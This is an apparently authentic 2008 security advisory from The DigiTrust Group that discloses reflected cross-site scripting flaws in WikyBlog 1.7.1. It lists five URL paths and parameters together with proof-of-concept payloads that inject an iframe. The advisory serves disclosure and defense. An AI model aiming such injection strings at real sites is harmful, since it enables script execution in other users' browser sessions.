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DigiTrust Assurance

WikyBlog Mulitple Cross-Site Scripting Vulnerabilities

Product:
WikyBlog 1.7.1

Credits:
Omer Singer
The DigiTrust Group
http://www.digitrustgroup.com/
September 23, 2008

Risk Level:
MEDIUM - Input passed via the URL to the affected locations is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of an affected site.

Program Summary:
WikyBlog is a sophisticated open source wiki platform written in PHP and enhanced with AJAX.
http://www.wikyblog.com/

Affected Locations and XSS Proof of Concept Code:

  1. /index.php/Special/Main/keywordSearch?key="><iframe src="http://www.google.com"></iframe>
  2. /index.php/Edit/Main/Home?cmd=show&revNum=65"><iframe src="http://www.google.com"></iframe>
  3. /index.php/Special/Main/WhatLinksHere?to="><iframe src="http://www.google.com"></iframe>
  4. /index.php/Special/Main/UserEdits?user="><iframe src="http://www.google.com"></iframe>
  5. /index.php/"><iframe src="http://www.google.com"></iframe>

Vendor Solution:
Fixed in code repository.

Copyright (c) 2008 The DigiTrust Group.

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